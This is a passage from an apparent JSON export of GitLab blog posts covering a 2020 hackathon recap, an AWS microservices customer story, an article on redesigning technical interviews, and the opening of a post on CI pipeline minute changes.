Party","en-us/blog/git-merge-fifteen-year-git-party.yml","en-us/blog/git-merge-fifteen-year-git-party",{"_path":24458,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24459,"content":24464,"config":24468,"_id":24470,"_type":16,"title":24471,"_source":17,"_file":24472,"_stem":24473,"_extension":20},"/en-us/blog/q1-hackathon-recap",{"title":24460,"description":24461,"ogTitle":24460,"ogDescription":24461,"noIndex":6,"ogImage":19778,"ogUrl":24462,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24462,"schema":24463},"What went down at the Q1'2020 GitLab Hackathon","A recap of GitLab community's accomplishments during another record-setting Hackathon on February 12-13.","https://about.gitlab.com/blog/q1-hackathon-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What went down at the Q1'2020 GitLab Hackathon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2020-03-25\",\n      }",{"title":24460,"description":24461,"authors":24465,"heroImage":19778,"date":24448,"body":24466,"category":18484,"tags":24467},[21623],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThe GitLab community gathered on February 12-13 for the Q1 Hackathon and this is almost becoming a cliche, but the GitLab Community again set an impressive Hackathon record with [almost 150 MRs](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/-/issues/31)!\n\n## What did we accomplish?\n\nI'm not sure how many readers remember the first Hackathon in Q3'2018, but I remember being excited about [22 MRs](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/-/issues/4) submitted during the inaugural event. If someone told me we would see 147 MRs in a single Hackathon someday, I don't think I would have believed it. Again, I have to give big kudos to wider community members and reviewers who helped make our Hackathon such a fun and exciting event. \n\nI would like to highlight a few things from the Hackathon. First, just like in Q4 we had frontend Epics that resulted in many community contributions. One was [Replacing Underscore with Lodash](https://gitlab.com/groups/gitlab-org/-/epics/2412) created by [Scott Stern](https://gitlab.com/sstern) and the other was to [Migrate .fa-spinner to .spinner](https://gitlab.com/groups/gitlab-org/-/epics/956) that was created by [Brandon Labuschagne](https://gitlab.com/blabuschagne) before the Hackathon. Amazingly, both Scott and Brandon were able to review and provide feedback on over 50 MRs related to these Epics that turned out to be goldmines.   \n\nAlso during this Hackathon, there were MRs across more than 20 GitLab projects demonstrating the breadth of contributions (to go along with the volume). Not suprisingly, many people usually think of the [`gitlab` project](https://gitlab.com/gitlab-org/gitlab), but wider community members contributed to projects like [Charts](https://gitlab.com/gitlab-org/charts/gitlab), [Gitaly](https://gitlab.com/gitlab-org/gitaly/), [GitLab SVGs](https://gitlab.com/gitlab-org/gitlab-svgs), [Gitter](https://gitlab.com/gitlab-org/gitter), [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/), [Pajama Design System](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/), [Runner](https://gitlab.com/gitlab-org/gitlab-runner/), [Secure](https://gitlab.com/gitlab-org/security-products), [www-gitlab-com](https://gitlab.com/gitlab-com/www-gitlab-com), and others during the event.   \n\nFinally, the [GitLab Meetup Group in Hamburg](https://www.meetup.com/GitLab-Meetup-Hamburg/) had their [meetup](https://www.meetup.com/GitLab-Meetup-Hamburg/events/268054258/) to coincide with the Hackathon, so [David Planella](https://gitlab.com/dplanella), [John Coghlan](https://gitlab.com/johncoghlan), and [I](https://gitlab.com/rpaik) were able to join the Hamburg meetup remotely to talk about the Hackathon and how to contribute to GitLab. We had a great time participating in the meetup and I want to thank [Philipp Westphalen](https://gitlab.com/Phil404) for not only inviting us, but also flawlessly working the conferencing tool and the audio/video equipments. If there are other GitLab meetup organizers who are interested in organizing your meetup around a Hackathon, please let me know! \n\n![Hamburg meetup](https://about.gitlab.com/images/blogimages/hackathon-blogpost/Hamburg-meetup.png){: .shadow.medium.center}\n\n## Hackathon prizes\n\nFor this Hackathon, we have a packable duffle for everyone who had their MRs merged by February 25th and [34 people](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/-/issues/33) will be receiving the GitLab branded duffle bag. This sets another record for the number of people with MRs merged during the Hackathon. As we did in the past several quarters, we have a prize for second place and [Raihan Kabir](https://gitlab.com/rk4bir) is the winner with 7 MRs merged. For the grand prize, I want to award two contributors [Takuya Noguchi](https://gitlab.com/tnir) with 13 MRs merged and [Rajendra Kadam](https://gitlab.com/raju249) with 17 MRs merged. Thanks and congratulatations to everyone!\n\n![Hackathon prizes](https://about.gitlab.com/images/blogimages/hackathon-blogpost/q12020-hackathon.prizes.png){: .shadow.medium.center}\n\n## When is the next Hackathon?\n\nI'm happy to announce that the Q2 Hackathon will take place on May 13-14, 2020. It is already advertised on [the Hackathon page](/community/hackathon/) with a new countdown clock. Please look out for more announcements as we get closer to the next Hackathon date. Also, if you have any suggestions for the Q2 Hackathon please feel free to suggest them on [the GitLab Contributors Gitter](https://gitter.im/gitlabhq/contributors).\n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at `rpaik@gitlab.com`.\n\n[\"GitLab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel) on Unsplash\n{: .note}\n",[267,2368,815],{"slug":24469,"featured":6,"template":678},"q1-hackathon-recap","content:en-us:blog:q1-hackathon-recap.yml","Q1 Hackathon Recap","en-us/blog/q1-hackathon-recap.yml","en-us/blog/q1-hackathon-recap",{"_path":24475,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24476,"content":24482,"config":24488,"_id":24490,"_type":16,"title":24491,"_source":17,"_file":24492,"_stem":24493,"_extension":20},"/en-us/blog/from-monolith-to-microservices-how-to-leverage-aws-with-gitlab",{"title":24477,"description":24478,"ogTitle":24477,"ogDescription":24478,"noIndex":6,"ogImage":24479,"ogUrl":24480,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24480,"schema":24481},"From monolith to microservices: How to leverage AWS with GitLab","GitLab recently spent time with Ask Media Group and AWS to discuss how modernizing from self-managed to a cloud native system empowers developers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679645/Blog/Hero%20Images/askmediablog-.jpg","https://about.gitlab.com/blog/from-monolith-to-microservices-how-to-leverage-aws-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"From monolith to microservices: How to leverage AWS with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brein Matturro\"}],\n        \"datePublished\": \"2020-03-24\",\n      }",{"title":24477,"description":24478,"authors":24483,"heroImage":24479,"date":24485,"body":24486,"category":813,"tags":24487},[24484],"Brein Matturro","2020-03-24","\n\nAsk Media Group operates over 30 websites and provides enriched search results, articles, galleries, and shopping sites to over 100 million unique visitors each month. About two years ago, [Ask Media](https://www.askmediagroup.com/) was looking for ways to grow the business, draw advertisers, and expand its audience. Routine tasks like onboarding developers or releasing software took too long. The monolithic system that was in place had limited capabilities and added financial burdens for services that went unused. \n\nChenglim Ear, principal software engineer at Ask Media, recently sat down with [Trevor Hansen](https://www.linkedin.com/in/startuptrev), solutions architect at AWS, to discuss how adopting GitLab empowered developers to improve the customer experience, release software quicker, and leverage AWS cloud services. \n \n## Building microservices from monoliths\n\nAsk Media was looking to move away from a monolithic system to [microservices](/topics/microservices/) in order to modernize workflow and improve the overall business process. “We wanted to move over to microservices. We wanted to [leverage Kubernetes](/solutions/kubernetes/). It was a new container world that was shaping. When we looked at GitLab, it was very complete in providing what we needed to be able to build images, to run on containers,” according to Chenglim. “That was a very big deciding factor. GitLab had everything that we needed.” \n\nDevelopers can now break services into multiples and develop them independently, own the code, and have full visibility prior to deployment. “We're making the hidden logic transparent and we enable the parts of the logic to be independently developed in parallel. So you can have developers all working on their own, with different skillsets,” Chenglim says. \n\n## Containers, cost, and scalability\n\n“We needed a system that could handle change. When we look at what we did to speed up development, make it simple and transparent, and control the cost, we see a paradigm shift. GitLab gave us push-button releases. Docker and Kubernetes enabled us to switch to a microservices architecture and AWS enabled auto scaling,” says Chenglim. “On Amazon, we started building Kubernetes clusters and GitLab became our command and control interface.” \n \n Ask Media was looking for a tool that could scale and grow as needed. Cost, speed, and functionality are the tenets that AWS focuses on providing to its customers, according to Hansen. AWS works closely with Ask Media to ensure that the containers in place offer the scalability, flexibility, and timeliness they need. \n\nWith [GitLab and AWS](/partners/technology-partners/aws/), Ask Media developers built out a platform that enables the knowledge from all members of the teams. “With AWS, we wanted a product that was fairly complete and mature. AWS has a lot of history and lots of services. We definitely wanted to be able to leverage those services and to build on a platform that was a solid,” Chenglim says. “We set off to build Kubernetes clusters, right on EC2 instances. We continue to look at opportunities to leverage the resources available through AWS.”\n\nTo learn more about how Ask Media made the transition to cloud native, check out the full [webcast](/webcast/cloud-native-transformation/).\n\nCover image by [Eric Muhr](https://unsplash.com/@ericmuhr?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}",[3554,4772,2509,2250],{"slug":24489,"featured":6,"template":678},"from-monolith-to-microservices-how-to-leverage-aws-with-gitlab","content:en-us:blog:from-monolith-to-microservices-how-to-leverage-aws-with-gitlab.yml","From Monolith To Microservices How To Leverage Aws With Gitlab","en-us/blog/from-monolith-to-microservices-how-to-leverage-aws-with-gitlab.yml","en-us/blog/from-monolith-to-microservices-how-to-leverage-aws-with-gitlab",{"_path":24495,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24496,"content":24502,"config":24508,"_id":24510,"_type":16,"title":24511,"_source":17,"_file":24512,"_stem":24513,"_extension":20},"/en-us/blog/the-trouble-with-technical-interviews",{"title":24497,"description":24498,"ogTitle":24497,"ogDescription":24498,"noIndex":6,"ogImage":24499,"ogUrl":24500,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24500,"schema":24501},"The main problem with technical interviews","Forget the coding exercise. Here's how to create realistic scenarios for engineering candidates in technical interviews.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681148/Blog/Hero%20Images/nycbrooklyn.jpg","https://about.gitlab.com/blog/the-trouble-with-technical-interviews","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The trouble with technical interviews? They aren't like the job you're interviewing for\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-03-19\",\n      }",{"title":24503,"description":24498,"authors":24504,"heroImage":24499,"date":24505,"body":24506,"category":734,"tags":24507},"The trouble with technical interviews? They aren't like the job you're interviewing for",[17272],"2020-03-19","\n\nInterviewing for an engineering job in the tech world can mean [you’ll be asked all sorts of questions](https://stackify.com/devops-interview-questions/). Sometimes, the job interview questions can be pretty straightforward: “Tell me about a time that you have implemented an effective monitoring solution for a production system.” Other times, the questions are impossible to answer and designed to spark your creativity: “How many windows are in New York City?” After passing the initial interview, the applicant or candidate graduates to the next tier of interviewing: The often-dreaded technical interview.\n\n## What is a technical interview?\n\nA technical interview is one that is conducted to gauge a candidate’s skill level for positions in the information technology, engineering, and science fields. It may also determine how much a candidate knows in more niche areas of a company, such as marketing, sales, and HR.\n\n## How to prepare for a technical Interviews\n\nProspective engineers often face a challenge when it comes to preparing for the technical interview, largely because there is no playbook for how companies set them up technical. It’s unclear whether to prepare by memorizing many different topics, or focusing on specific projects. Is it better to practice with a computer or a peer engineer? There are an overwhelming number of resources available online, but with little clarity as to what the standard is for a technical interview and little guidance from the company on what to expect, most of the time engineers start technical interviews in the dark.\n\nInconsistencies in the technical interview process isn’t just a job candidate problem. In fact, many companies struggle to set up a technical interview process that is effective, equitable, and allows the hiring manager to compare candidates. The problem with technical interviewing compounds when a company is experiencing rapid growth.\n\n## What are the challenges of conducting technical interviews at a growing company\n\n\"Imagine you had a hiring target of doubling your team size and all your interviews are conducted remotely. Welcome to GitLab,\" says Clement Ho, [frontend engineering manager on the Monitor: Health team](/company/team/#ClemMakesApps) at GitLab.\n\n![Hiring chart shows GitLab more than doubled the number of hires from around 400 in 2019 to roughly 1300 by end of 2020](https://about.gitlab.com/images/blogimages/fei_hiringchart.jpg){: .shadow.medium.center}\n\nGitLab more than doubled the number of hires from around 400 in 2019 to roughly 1300 by end of 2020.\n{: .note.text-center}\n\nWe identifed three core challenges with orchestrating technical interviews as GitLab grows.\n\n1. We didn't have enough interviewers for the pipeline of candidates.\n2. Our technical interviewing process was inconsistent and even a little biased.\n3. It was difficult to measure whether or not we were raising the bar.\n\n\"And by raising the bar, I mean making sure each candidate that joins the team makes the team better,\" says Clement.\n\nThese problems are by no means unique to GitLab. Any engineering company that is scaling rapidly will encounter some growing pains when it comes to hiring, and many will end up falling back on some of the typical models for conducting technical interviews.\n\n## The typical technical interview methods\n\nDuring his talk, [\"Using GitLab to Power our Frontend Technical Interviews\" at GitLab Commit San Francisco](https://www.youtube.com/watch?v=jSbCt8b_4ug), Clement explained the four different techniques that are often employed in technical interviews. Each method comes with advantages and disadvantages from the perspective of the hiring manager.\n\n## What are good technical interview questions \n\nA good technical interview needs to be about more than practical skills – it’s about the whole package.A candidate should possess the ideal coding skills but also be a team and culture fit and be able to discuss developer topics efficiently. A technical interview should include both situational interview questions and a skills assessment to discern a candidate’s potential.\n\nThe types of questions to ask can concern a candidate’s technical abilities and background, their career journey so far, and queries specific to the team or company.\n\n## Types of questions asked during a technical interview and their purpose\nEven though employers have already reviewed your resume and cover letter, they will want you to flesh that out during the interview to learn more about how you attained those skills. In order to assess your level of experience, they will likely also ask you to provide concrete examples from prior jobs.\nMake sure you are prepared—do your research on the company and the type of questions you may be potentially asked. This will help build your confidence level and reduce any nervousness you might feel. It’s also an opportunity for you to set yourself apart from other candidates by showcasing your knowledge and additional skills you can bring to the job.\n \nIt is important to be honest about your skill set because that is something employers value. You may find the company will be willing to hire someone who is transparent about the areas where they need to improve and where they’d like to gain more skills.\n\nExamples of common questions to expect in a technical interview:\n\n- What coding languages are you most familiar with?\n- What is your experience with Kubernetes with a specific example?\n- What’s the purpose of continuous integration in an automated build?\n- How have your previous technical roles prepared you for this job?\n- Tell me about a time when you received an unexpected assignment: how did you react, and what did the experience teach you?\n- Please provide more details about your educational background and how it prepared you for this position.\n- How did you go about teaching yourself a necessary technical skill while you were working on a project?\n- What are your strengths, and where do you think you need to improve your skills?\n- Do you have any technical certifications?\n- Please detail the work you did on the project you are most proud of.\n- What are your favorite and least favorite tech tools, and why?\n- What are the pros/cons of working in an agile environment?\n\n### Sample technical interview questions and answers\n \n- **How do you stay current with your technical knowledge and skills?** It’s a good idea to list online content you use to educate yourself, as well as tutorials and conferences you have attended to gain more knowledge. Perhaps you have also worked closely with vendors or attended sessions to learn about new product features.\n- **How do you troubleshoot technical problems?** Discuss the steps you take when you are answering a question. This will give employers a sense of how you problem-solve, and it provides a good overview of how well you understand the relevant concepts. Even if you don’t answer a question correctly, it will show the interviewer your process and reasoning, which are also important. You can mention resources you use, such as GitLab and Stack Exchange, as well as the developer community and any publications you read for advice.\n- **What is your level of experience with the software programs mentioned on your resume?** Describe how many years you have used the tools, your impressions of them, and bring up the companies you used them at, with specific examples.\n- **What programming language are you most proficient in?** You should discuss how you have become proficient in this language and why it is the one you are most comfortable using. You can also cite other languages you are familiar with.\n- **Describe a time you made an error and how you resolved it.** Don’t use an example of an egregious error since that may put you in a negative light. Be sure to emphasize that you took responsibility and acted with integrity, and did whatever it took to resolve the issue.\n\n## What are some soft skills and coding skills to highlight in a technical interview\n\nA technical interview assesses your technical expertise, coding skills, and ability to fit into a team. However, soft skills are just as important and often aid in the development of more technical skills – particularly in a team setting.\n\nAs the technical interview progresses, be prepared to tackle some questions about soft skills like:\n\n- **Communication skills:** How does the candidate contribute to group discussions, confront problems, or give and receive feedback?\n- **Organizational skills:** What are the ways in which the candidate provides visibility into their work processes and their methods of staying on task?\n- **Collaboration skills:** Are they interested in helping their teammates? What do they think are the keys to successfully navigating a team project? How have they collaborated on past projects?\n- **Creative problem solving:** How do they work through a problem in a project? Do they use both analytical and creative thinking to come up with solutions?\n\n### How to prepare for verbal technical questions\n\nThere are countless articles online that try to prepare job candidates for a verbal technical interview, but whether this method truly effective for evaluating the technical competency of a software engineer is debatable.\n\nIn the typical scenario, the interviewer asks the candidate to describe a technical concept and tries to measure their fluency in said concept based on the quality of the conversation.\n\nThe advantage of this method is that the interviewer can understand how the candidate communicates, which is of particular importance when the engineering team is all-remote, as is the case at GitLab. The drawback? Being a good communicator does not necessarily mean the candidate knows how to code effectively.\n\n\"So I've interviewed candidates that could talk the talk, but they couldn't really write the code,” says Clement. \"And that's not a great situation for an engineer to join GitLab.\" Clement’s team has moved away from using verbal technical questions as a method for evaluating candidates.\n\n### Live coding exercises\n\nOne of the more popular methods for evaluating engineers is through live coding. While it allows the evaluator to see how engineering candidates answer data structure questions, it also has its disadvantages.\n\nA key advantage of live coding data structures is that it offers a fairly consistent measurement and evaluation.\n\n\"I can talk to another manager or another interviewer and be able to communicate, 'Hey, this person wasn't able to do a linked list, they got stuck here. They weren't able to understand a runtime efficiency here.' So it's pretty consistent,\" says Clement.\n\nBut the ability to create data structures is not always the best indicator of ability. Oftentimes engineers with a very traditional background or recent graduates will shine here, but someone who is more senior and able to do a lot of great things, but is perhaps not as brushed up on data structures, may struggle.\n\nLive coding interviews probably aren’t going anywhere fast, but the pitfalls of this method are well documented by engineers and hiring managers. Brennan Moore, a product engineer in New York City, explains why he does not conduct live coding interviews when evaluating a prospective candidate:\n\n> \"Much like the SAT when applying for college, live coding is a structured test. I didn’t go to a school that trained me to do live coding, and so will probably fail the test. As I’ve experienced it, live coding isn’t the meritocratic space that it pretends to be. Live coding interviews weed out the people who are good at live coding interviews,\" says Brennan in his [blog post](https://www.zamiang.com/post/why-i-don-t-do-live-coding-interviews).\n\nAt GitLab, we found that live coding exercises don't accurately represent engineering capability. Oftentimes, a recent computer science graduate will outperform a more senior candidate with a lot of valuable experience. In summary, live coding exercises will often disadvantage more senior candidates, people who are nervous in high-pressure situations (read: everyone), and advantages more junior engineers or people who have practiced live coding.\n\n### Digital prompt\n\nA third common method for evaluating candidates is to ask the engineer to code a UI using an online editor while on screen share with the evaluator.\n\nThe advantage of this method is that it allows the evaluator to observe how a candidate builds. The drawbacks here are similar to those with live coding. First, the engineer is under pressure to build while the evaluator watches on, making it a nerve-wracking situation. The other drawbacks come from an evaluation perspective: It is challenging to measure the effectiveness of this method and it is hard to compare between candidates.\n\n### Take-home project\n\nAny engineer (or writer, for that matter) can tell you, the supplemental take-home project is a very common ask when going through an interview process. The advantage here for us is that this assignment closely mimics the reality of building environments while working remotely at GitLab.\n\nBut this task comes with major drawbacks, mainly that it disadvantages candidates who may not have the time or capacity to complete the project.\n\n\"... imagine a scenario where you're a single parent and you have kids; you may not have as much opportunity to take dedicated time, a couple of hours after work to really focus on a take-home project compared to someone from a more privileged background,\" says Clement. \"They might be able to dedicate and output something better.\"\n\n[Diversity and inclusion is a core value](/company/culture/inclusion/) for GitLab, and anything that disadvantages candidates from underrepresented groups is not inclusive, and therefore suboptimal for evaluating candidates based on their engineering abilities.\n\n## What are they looking for during a technical interview?\n\nCompanies want candidates who can discuss the industry in the context of the job they are applying for. Be prepared to discuss examples of your work. Many will want to hear about soft skills, too—your ability to communicate and collaborate and work with others to problem-solve issues.\n\nThey will also want to see how passionate and enthusiastic you are and whether you have the self-motivation to not only do the job but take the initiative to do more than what you’re tasked with.\n\nAlso, interviewers will want to see whether candidates have the desire to increase their technical knowledge.\n\n## What are some online preparation tools and resources for technical interviews\n\n- Indeed offers a career guide to [help prepare for](https://www.indeed.com/career-advice/interviewing/what-is-a-technical-interview) a technical interview.\n- Interview Kickstart has several [webinars](https://learn.interviewkickstart.com/) to help prepare engineers for interviews.\n- Udemy offers a course in [Technical Interview Skills](https://www.udemy.com/course/technical-interview-skills/?utm_source=bing&utm_medium=udemyads&utm_campaign=BG-DSA_Webindex_la.EN_cc.BE&utm_content=deal4584&utm_term=_._ag_1222657343651662_._ad__._kw_udemy_._de_c_._dm__._pl__._ti_dat-2328215871879260%3Aloc-190_._li_103429_._pd__._&matchtype=b&msclkid=9f5132d9c84c17b02f7951a4f46279d6).\n- [Codecademy](https://www.codecademy.com/learn/technical-interview-practice-python?utm_id=t_kwd-79027793284383:loc-190:ag_1264438993811076:cp_370314525:n_o:d_c&msclkid=550de1275d811b2cfc0f82592b6d9626&utm_source=bing&utm_medium=cpc&utm_campaign=US%20Language%3A%20Pro%20-%20Broad&utm_term=%2Btechnical%20%2Binterview%20%2Bprep&utm_content=technical%20interview%20practice) also offers a course called - Technical Interview Practice with Python.\n- Here are some more general [interview tips](https://www.roberthalf.com/blog/job-interview-tips/interview-tips-to-help-you-land-the-job-you-want) that are applicable to all candidates.\n\n## Meaningful questions to ask the interviewer\n\nCandidates will also be given a chance to ask questions they might have to learn more about the company. This is a great opportunity to gain more insight into how the company operates, what its philosophy is, and its vision for the long term.\n\nIt’s also a good way to glean how the company views its IT team. If you don’t ask questions, that could give the impression you are unprepared or not terribly interested in the job.\n\nQuestions to ask can include:\n\n- What does a typical day looks like in this role?\n- Are there opportunities for training and further advancement?\n- What software development methodology do you use?\n- What are your code review practices?\n- Do you have on-call rotations? If so, how long is one rotation?\n- What are the responsibilities of the person on call?\n- Please provide more details about the team I will be working with, such as how many people are there, what their roles are, what the hierarchy is, and what areas of improvement you would like to see on the team.\n\n## The new way\n\nWhile each method for conducting a technical interview comes with advantages, there are also numerous disadvantages when it comes to conducting an effective and measurable evaluation and creating an equitable interview process. Under the guidance of Clement, the [Monitor:Health team](/handbook/engineering/development/ops/monitor/respond/) decided to interview frontend engineers in an entirely new way using GitLab.\n\nNow let's take a deep dive into the nuts and bolts of reinventing the technical interview for frontend engineers at GitLab. Just wondering about the key takeaways? [Skip ahead](#why-this-new-model-for-technical-interviews-is-better). As we continue to iterate on a more effective and measurable technical interview process, we hope this inspires other engineering organizations to rethink theirs and share learnings with us.\n\nOur first step: Standardize the interview process.\n\n### Fixing an MR on a test project\n\nThe team standardized the interview process by creating an open source test project, called `project-seeder`, which seeds projects to different candidates using a GitLab Bot. Candidates are assigned a merge request to troubleshoot in the project created for the technical interview. The `project-seeder` is powered by the GitLab Bot so the interviewer doesn't have to worry about API keys, and works in four steps:\n\n1. Exports the template project\n2. Imports template project\n3. Adds users with expiration\n4. Triggers pipeline for candidate to review MR\n\nThe candidate is sent an email with a link to the MR the candidate is assigned to fix as part of the technical interview.\n\n### Standardize the evaluation rubric\n\nThe team also created a standardized rubric for how the candidate's performance on a technical interview is evaluated.\n\n\"We don't want to be in a situation where unconscious bias or bias of one candidate over another plays a part because of our preconceived notions,\" says Clement.\n\nCreating a rubric that looks at multiple categories allows the evaluator to look at the performance of the candidate from a more holistic perspective, as opposed to looking at a candidate's performance on one technology.\n\nThe team created a [Periscope dashboard](/handbook/engineering/frontend/interview-metrics/) to create a feedback loop between the candidates and evaluators to identify opportunities for improvement in the technical interviewing process.\n\n![Frontend team used Periscrope to collect feedback from candidates who participate in technical interviews](https://about.gitlab.com/images/blogimages/fei_periscopedashboard.jpg){: .shadow.medium.center}\n\nThe frontend engineering team used Periscope to collect feedback from candidates who participate in technical interviews.\n{: .note.text-center}\n\n## Demoing the technical interview\n\n### Inside the technical interview project\n\nClement created a sample project to demonstrate how we use GitLab to power our technical interviews.\n\nIn the [gl-commit-example](https://gitlab.com/gl-commit-example) group, there is a subgroup with all the interview projects we are seeding to the imaginary candidates, a template, and a project seeder.\n\n![A screenshot of the sample project shows the interview project's subgroup, template, and project seeder application](https://about.gitlab.com/images/blogimages/fei_interviewproject.jpg){: .shadow.medium.center}\n\nThe interview project's subgroup, template, and project seeder application lives inside the sample project for the technical interview.\n{: .note.text-center}\n\n[Inside the template](https://gitlab.com/gl-commit-example/template), there are GitLab pages and the [interview test merge request](https://gitlab.com/gl-commit-example/template/-/merge_requests/1).\n\nThe assignment here is pretty simple. The candidate needs to update the website to say \"Hello GitLab Commit SF,\" but in order to accomplish this, the candidate will need to fix the failing pipeline.\n\n### Powering project-seeder\n\nWe use variables from GitLab CI to configure the [project-seeder application](https://gitlab.com/gl-commit-example/project-seeder).\n\n![Screenshot of the project for the project-seeder application](https://about.gitlab.com/images/blogimages/fei_projseederapp.jpg){: .shadow.medium.center}\n\nInside the project-seeder application which seeds the interview projects to job candidates.\n{: .note.text-center}\n\n\"I'm creating `new-project-example-two`, and I'm adding this bot user that I created and the expiration, so I can just easily run this pipeline and it'll seed this project,\" says Clement.\n\n![We use variables from the GitLab CI to configure the project-seeder applications](https://about.gitlab.com/images/blogimages/fei_variables.jpg){: .shadow.medium.center}\n\nThe next step is to run the setup pipeline, which will create the project, import the project, export the project, and share it with the job candidate.\n\n![A look inside the pipeline that will create the test project](https://about.gitlab.com/images/blogimages/fei_insidethepipeline.jpg){: .shadow.medium.center}\nA look inside the pipeline that will create the test project.\n{: .note.text-center}\n\nLooking inside example-one, we can see there is a project and [broken MR](https://gitlab.com/gl-commit-example/interview-projects/example-1/-/merge_requests/1).\n\n\"And an example for a candidate – they would probably look at the CI and see, 'Oh there's a failing test. Let's see what that's about. Oh, it looks like it's checking for \"hello world\". So since we changed the message earlier, we can just change this and get this test passing and then pass this interview,'\" says Clement.\n\n## Why this new model for technical interviews is better\n\nThe new model surpasses the old model because we created realistic scenarios that reflect what it's like to actually work for GitLab, and we established a more consistent method of measurement.\n\n\"So we're able to get better candidates overall. Candidates that pass through this technical interview, we're sure that they're going to be successful at GitLab,\" says Clement.\n\nBy designing our technical interviews this way, we can ensure that the interview project matches our actual product architecture at GitLab, which in this case is Ruby on Rails for Vue JS.\n\nWe also struggled in the past with finding a good way to check that the candidate knows how to use Git, and can navigate pipelines and testing. By using GitLab for interviews, we're able to confirm a candidate's competency with Git implicitly by evaluating their performance on the technical interviews.\n\nWe wanted to mirror the actual experience of troubleshooting a broken MR while working at GitLab, so we allow our candidates to use the internet during their technical interview. This allows the evaluator to see how the candidate solves problems and see their resourcefulness.\n\n\"If you're already using GitLab for your tooling, you're just exposing them to what it's like to work at GitLab; it's a more accurate representation,\" says Clement. \"And you can also make sure you're measuring testing proficiency and you make sure they understand how that works before they join your company.\"\n\n## Four key takeaways from our technical interview update\n\nWhether or not a company uses GitLab, there are a few key lessons that we learned by iterating on how we conduct technical interviews for engineers.\n\n1. **Make technical interviews as much like real work as possible**: Nine times out of ten, an engineering manager isn't going to sit back and watch an engineer break a sweat in a live coding exercise, any more than they will watch on as an engineer builds in UI. Create realistic scenarios based on the actual work and evaluate based on the candidate's performance.\n\n2. **Make any technical interview process \"open-book\"**: Engineering doesn't involve much rote memorization. Instead, allow the engineering candidate to use the internet (and in our case, the [GitLab Handbook](/handbook/)) to look up their questions. It's better to see how a candidate applies their knowledge and troubleshoots the inevitable problems that may arise. This change will likely improve your candidate experience too.\n\n3. **Standardize your rubric**: However the technical interview is done, make sure that the rubric is as objective as possible and that the candidate is evaluated based on various criteria, not on their familiarity with a particular technology. A strong rubric means a stronger, more valid method for evaluating candidate performance.\n\n4. **Create an inclusive process**: Think critically about how the technical interviewing process and evaluation is structured so a diverse group of candidates can be recruited and evaluated based on their merits. When in doubt, ask a diversity, inclusion and belonging expert or turn to your human resources team for advice. Still coming up empty? Hire a diversity consultant; it will be worth it.\n\n**Interviewing at GitLab?** We encourage you to use the resources GitLab creates during your technical interview. We don't publish our evaluation criteria publicly, but we do have the [Periscope dashboard](/handbook/engineering/frontend/interview-metrics/) which can provide some insight.\n\nWatch Clement's talk from [GitLab Commit San Francisco](https://www.youtube.com/watch?v=jSbCt8b_4ug) to learn more about how we used GitLab to power our technical interviewing process.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/jSbCt8b_4ug\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[11037,676],{"slug":24509,"featured":6,"template":678},"the-trouble-with-technical-interviews","content:en-us:blog:the-trouble-with-technical-interviews.yml","The Trouble With Technical Interviews","en-us/blog/the-trouble-with-technical-interviews.yml","en-us/blog/the-trouble-with-technical-interviews",{"_path":24515,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24516,"content":24521,"config":24526,"_id":24528,"_type":16,"title":24529,"_source":17,"_file":24530,"_stem":24531,"_extension":20},"/en-us/blog/ci-minutes-for-free-users",{"title":24517,"description":24518,"ogTitle":24517,"ogDescription":24518,"noIndex":6,"ogImage":17364,"ogUrl":24519,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24519,"schema":24520},"Changes to CI pipeline minutes for new free users","This change better aligns to GitLab's buyer-based open-core model.","https://about.gitlab.com/blog/ci-minutes-for-free-users","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Changes to CI pipeline minutes for new free users\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2020-03-18\",\n      }",{"title":24517,"description":24518,"authors":24522,"heroImage":17364,"date":24523,"body":24524,"category":736,"tags":24525},[3532],"2020-03-18","___Update October 8, 2024: This blog is superseded by the blog post announcing [upcoming changes to CI/CD minutes for free tier users on GitLab.com](https://about.gitlab.com/blog/ci-minutes-update-free-users/). Please refer to our [pricing page](https://about.gitlab.com/pricing/) for the full breakdown of usage limits per tier.___\n\nEffective Sunday March 15, 2020, UTC, we are making changes to the CI pipeline minutes offered to *new* free users.\nMoving forward, all free accounts will have 2000 pipeline minutes per group per month independent of the visibility of the project.\nExisting free users will not have their plans changed.\n\n## What are pipeline minutes?\n\nAs we 